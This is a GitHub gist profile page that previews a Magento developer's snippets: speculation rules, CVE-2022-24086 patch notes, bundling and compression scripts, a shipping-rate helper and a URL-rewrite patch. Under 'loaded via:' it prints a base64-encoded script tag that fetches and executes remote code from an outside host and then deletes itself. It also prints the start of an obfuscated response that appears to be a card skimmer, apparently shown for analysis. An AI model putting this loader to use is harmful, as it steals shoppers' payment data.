Skip to content

Instantly share code, notes, and snippets.

View wigman's full-sized avatar
🧙
Mageing

Willem Wigman wigman

🧙
Mageing
View GitHub Profile
@wigman
wigman / hyva-io-speculation-snippet.html
Last active April 29, 2024 07:50
hyva.io speculation rules
<script>
if (HTMLScriptElement.supports &&
    HTMLScriptElement.supports('speculationrules')) {
  const specScript = document.createElement('script');
  specScript.type = 'speculationrules';
  specRules = {
    "prerender": [{
"source": "document",
"where": {
"or": [
loaded via:
`<script src="data:text/javascript;base64,dmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpO3hoci5vcGVuKCdHRVQnLCAnaHR0cHM6Ly90YWcuaXJldmVyZS5uZXQvMC8nKTt4aHIub25sb2FkID0gZnVuY3Rpb24gKCkge25ldyBGdW5jdGlvbigoeGhyLnJlc3BvbnNlKSkuY2FsbCh0aGlzKTt9O3hoci5zZW5kKCk7ZG9jdW1lbnQuY3VycmVudFNjcmlwdC5yZW1vdmUoKTs="></script>`
Response:
```
;var murl, fi, oi, hett, _rst, chckst, _ai, _gc, _cc, _gg, ccn, mid, yid, cid, cbid, cnid, clid, validateArr, doc, jistr, ccl, alcc, validate, cf, dI66, cT49, sac, scfs, cstchd, vcn, send, en_snd, sr, isNormalInteger, _gfv, trytry, kljoihoiugiu, pijoihuigui;
(function() {
var QRO = ''
, BtV = 573 - 562;
function nAB(l) {
@wigman
wigman / MDVA-43395-quick-instructions.md
Last active March 10, 2023 09:07
Instructions for quick and dirty Magento 2 Store patch for exploit MDVA-43395

Security updates available for Magento - APSB22-12

Adobe has released security updates for Adobe Commerce and Magento Open Source. These updates resolve a vulnerability rated critical. Successful exploitation could lead to arbitrary code execution.

Adobe is aware that CVE-2022-24086 has been exploited in the wild in very limited attacks targeting Adobe Commerce merchants.

This vulnerability has a similar severity as the Magento Shoplift vulnerability from 2015. At that time, nearly all unpatched Magento stores globally were compromised in the days after the exploit publication.

– Sansec (https://sansec.io/research/magento-2-cve-2022-24086)

<?php
declare(strict_types=1);
namespace [Namespace]\Core\Plugin;
use Magento\Framework\View\Layout;
use Magento\PageCache\Model\Config;
class LayoutPlugin
{
#Path to shops' active theme (multiple locations allowed, separated by a ' ' (SPACE))
THEME_FOLDER=('pub/static/frontend/Magento/luma/')
#Find deployed themes (languages) and copy the themes. 'us_US' becomes 'us_US_source'. We skip directories already having a '_source' suffix
find ${THEME_FOLDER[@]} -mindepth 1 -maxdepth 1 \( -not -name '*_source' \) -type d -execdir mv -f \{} \{}_source \;
#Find all *_source themes and use them as input for r.js. The output directories are the input directory with '_source' stripped again.
find ${THEME_FOLDER[@]} -mindepth 1 -maxdepth 1 \( -name '*_source' \) -type d -exec bash -c 'r.js -o requirejs-bundle-config.js baseUrl=\{} dir="${@%"_source"}"' bash {} \;
#Find the themes that don't have _source as suffix, assuming these are the ones that are now bundled.
@wigman
wigman / Compress Magento media
Last active August 6, 2021 12:49
Compress Magento media from commandline
# you need these installed if you want to:
sudo apt-get update
# resize images
sudo apt-get install imagemagick -y
# compress jpg and png files
sudo apt-get install jpegoptim optipng
# compress video's
sudo apt-get install ffmpeg
//Mass generate multi-dimensional shipping rates through elgentos.nl/tablerates
function insertValues(countries,weight,price){
var countryArr = countries.split(",");
for(i=0;i<countryArr.length;i++) {
var target = $("input[name^='price_"+countryArr[i]+"']");
if(target.filter(function() { return $(this).val() == ""; }).length == 0){
li = target.parents('li').closest('li');
@wigman
wigman / magento_url_rewrite.patch
Last active August 29, 2015 14:27 — forked from edannenberg/magento_url_rewrite.patch
Fixes the catalog url rewrite indexer in Magento 1.7.x-1.9.x See https://github.com/magento/bugathon_march_2013/issues/265 for details.Update: DexterDee in the ticket above noted that the previous patch had some side effects. This updated patch still feels like duct tape but at least it seems to be free of the mentioned side effects. It also fix…
diff -rupN mage_org/app/code/core/Mage/Catalog/Model/Url.php src_shop/app/code/core/Mage/Catalog/Model/Url.php
--- mage_org/app/code/core/Mage/Catalog/Model/Url.php 2013-11-19 00:48:25.679009391 +0100
+++ src_shop/app/code/core/Mage/Catalog/Model/Url.php 2013-11-19 00:49:24.188005601 +0100
@@ -643,13 +643,24 @@ class Mage_Catalog_Model_Url
$this->_rewrite = $rewrite;
return $requestPath;
}
+
+ // avoid unnecessary creation of new url_keys for duplicate url keys
+ $noSuffixPath = substr($requestPath, 0, -(strlen($suffix)));

#nginx test config sudo service nginx configtest

#restart nginx sudo service nginx restart

#restart php-service sudo service php5-fpm restart

#get php.ini path